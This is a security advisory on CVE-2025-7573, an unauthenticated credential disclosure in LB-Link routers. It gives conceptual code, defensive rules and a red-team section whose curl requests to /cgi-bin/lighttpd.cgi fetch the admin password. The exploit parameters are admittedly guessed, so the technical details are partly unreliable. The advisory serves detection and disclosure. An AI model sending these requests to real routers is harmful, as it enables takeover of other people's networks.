CVE-2025-7573

Executive Summary

CVE-2025-7573 is a critical information disclosure vulnerability affecting multiple LB-Link router models, including BL-AC1900, BL-AC2100_AZ3, BL-AC3600, BL-AX1800, BL-AX5400P, and BL-WR9000, with firmware versions up to 20250702. The vulnerability resides in the bs_GetManPwd function within the libblinkapi.so library, exposed via the /cgi-bin/lighttpd.cgi endpoint. An unauthenticated remote attacker can exploit this flaw to extract sensitive information, likely including administrative credentials or device secrets. The exploit has been publicly disclosed, and the vendor has not responded to disclosure attempts, leaving the devices in an unpatched state. This poses a significant risk to home and small office networks using these routers, as it could lead to full device compromise and lateral movement within the network.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in embedded router devices.

CVSS Breakdown & Threat Level

The NVD has assigned a CVSS score of 0.0, which is anomalous and likely indicates incomplete scoring data. Based on the public exploit and the nature of the vulnerability, a more realistic assessment is:

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component is the router itself.
• Confidentiality (C): High (H) – Sensitive information (likely admin credentials) is disclosed.
• Integrity (I): None (N) – The vulnerability does not directly allow modification.
• Availability (A): None (N) – The vulnerability does not affect availability.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N Estimated Base Score: 7.5 (High)

Threat Level: Critical due to the ease of exploitation, public availability of exploit code, and lack of vendor response.

Deep Dive & Mechanics

The vulnerability is located in the bs_GetManPwd function within the libblinkapi.so shared library. This function is called by the /cgi-bin/lighttpd.cgi CGI script, which is accessible over the network without authentication.

Mechanism:

1. An attacker sends a crafted HTTP request to the endpoint /cgi-bin/lighttpd.cgi.
2. The request triggers the bs_GetManPwd function.
3. This function, intended for internal management purposes, retrieves sensitive data (likely the administrator password or other device secrets) from the router's configuration storage.
4. The function returns this data in the HTTP response without proper authorization checks.
5. The attacker receives the sensitive information, which can then be used to gain administrative access to the router.

The root cause is a missing authentication or authorization check on the CGI endpoint, combined with the exposure of a sensitive internal function.

Vulnerable vs. Patched Code

Since no patch is available and the vendor has not responded, a direct code comparison is not possible. However, based on the vulnerability description, the following conceptual comparison can be made:

Vulnerable Code (Conceptual):

// In libblinkapi.so
char* bs_GetManPwd() {
    // No authentication check
    char* password = get_config_value("admin_password");
    return password;
}

// In lighttpd.cgi
void handle_request() {
    if (strcmp(get_cgi_param("action"), "get_man_pwd") == 0) {
        char* pwd = bs_GetManPwd();
        printf("Content-Type: text/plain\n\n");
        printf("%s", pwd);
    }
}

Patched Code (Conceptual):

// In libblinkapi.so
char* bs_GetManPwd() {
    // Authentication check added
    if (!is_authenticated()) {
        return NULL;
    }
    char* password = get_config_value("admin_password");
    return password;
}

// In lighttpd.cgi
void handle_request() {
    if (strcmp(get_cgi_param("action"), "get_man_pwd") == 0) {
        if (!is_authenticated()) {
            printf("Status: 401 Unauthorized\n\n");
            return;
        }
        char* pwd = bs_GetManPwd();
        printf("Content-Type: text/plain\n\n");
        printf("%s", pwd);
    }
}

The fix would involve adding proper authentication and authorization checks before allowing access to the bs_GetManPwd function.

Exploitation & Lab Setup

Red Team (Exploitation)

Lab Setup:

1. Obtain a vulnerable LB-Link router (e.g., BL-AC1900) or use a firmware emulator like QEMU to run the firmware.
2. Connect the router to a local network and obtain its IP address (e.g., 192.168.1.1).
3. Ensure the attacker machine is on the same network.

Exploitation Steps:

1. Reconnaissance: Scan for the router's web interface.

   nmap -p 80,443 192.168.1.1
   

2. Exploit: Send a crafted request to the vulnerable endpoint. The exact parameter may vary, but based on the function name bs_GetManPwd, a likely request is:

   curl -v "http://192.168.1.1/cgi-bin/lighttpd.cgi?action=get_man_pwd"
   

   Or, if the function is called via POST:

   curl -v -X POST -d "action=get_man_pwd" "http://192.168.1.1/cgi-bin/lighttpd.cgi"
   

3. Extract Data: The response will contain the sensitive information, likely in plaintext or a simple format.

   admin:MySecretPassword123
   

4. Post-Exploitation: Use the extracted credentials to log into the router's web interface and gain full administrative control.

Blue Team (Defense & Detection)

Detection:

1. Network Monitoring: Monitor for unusual HTTP requests to /cgi-bin/lighttpd.cgi with parameters like action=get_man_pwd or similar.
2. Log Analysis: Check router logs (if available) for failed authentication attempts followed by successful logins from the same IP.
3. Anomaly Detection: Look for outbound connections from the router to unknown IPs, which could indicate data exfiltration.

Mitigation:

1. Isolate the Device: Place the router on a separate VLAN with restricted access to the internet and internal network.
2. Disable Remote Management: If possible, disable remote management features on the router.
3. Monitor for Exploitation: Use the detection rules provided below to identify exploitation attempts.
4. Firmware Update: Check the vendor's website periodically for a firmware update. Since the vendor has not responded, consider replacing the device.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to /cgi-bin/lighttpd.cgi with parameters suggesting access to bs_GetManPwd (e.g., action=get_man_pwd, cmd=get_man_pwd).
• HTTP responses from the router containing plaintext credentials or configuration data.
• Unusual outbound connections from the router's IP address to external servers.

Host IOCs (on the router):

• Modified configuration files.
• Unusual processes running on the router (if accessible via SSH/telnet).
• New user accounts or changed passwords.

File IOCs:

• The libblinkapi.so library file (hash may vary by firmware version).
• The /cgi-bin/lighttpd.cgi script.

Detection Engineering

YARA Rule

rule CVE_2025_7573_LB_Link_Info_Disclosure {
    meta:
        description = "Detects exploitation attempts of CVE-2025-7573 in LB-Link routers"
        author = "Valters IT"
        date = "2025-07-03"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-7573"
        hash = "unknown"
    strings:
        $s1 = "bs_GetManPwd" ascii wide nocase
        $s2 = "get_man_pwd" ascii wide nocase
        $s3 = "lighttpd.cgi" ascii wide nocase
        $s4 = "admin_password" ascii wide nocase
    condition:
        any of ($s*) and filesize < 10MB
}

Sigma Rule

title: CVE-2025-7573 LB-Link Router Information Disclosure
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests targeting the vulnerable lighttpd.cgi endpoint on LB-Link routers.
author: Valters IT
date: 2025/07/03
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-7573
logsource:
    category: webserver
    product: apache
    service: httpd
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 
            - 'action=get_man_pwd'
            - 'cmd=get_man_pwd'
            - 'bs_GetManPwd'
        cs-uri-stem|endswith: '/cgi-bin/lighttpd.cgi'
    condition: selection
falsepositives:
    - Legitimate administrative access (if any)
level: high

Suricata Rule

alert http any any -> $HOME_NET any (msg:"CVE-2025-7573 LB-Link Router Information Disclosure Attempt"; flow:to_server,established; content:"/cgi-bin/lighttpd.cgi"; http_uri; content:"get_man_pwd"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the Device: Disconnect the router from the internet and place it on an isolated network segment.
2. Change Default Credentials: If you can still access the router, change the admin password immediately.
3. Disable Remote Access: Turn off any remote management features (e.g., WAN-side access to the web interface).
4. Monitor Network Traffic: Use the provided detection rules to identify any exploitation attempts.

Long-Term Solutions:

1. Replace the Device: Since the vendor has not responded and no patch is available, the most secure option is to replace the affected router with a device from a vendor with a strong security track record.
2. Vendor Contact: Continue to pressure the vendor (LB-Link) for a firmware update. If you are an enterprise, consider legal action or reporting to relevant authorities.
3. Firmware Updates: If a patch becomes available, apply it immediately.
4. Network Segmentation: Implement strict network segmentation to limit the impact of a compromised router.

Valters IT Signature:

This report was generated by Valters IT DevSecOps & CTI Division. For questions or further analysis, contact cti@valters-it.com.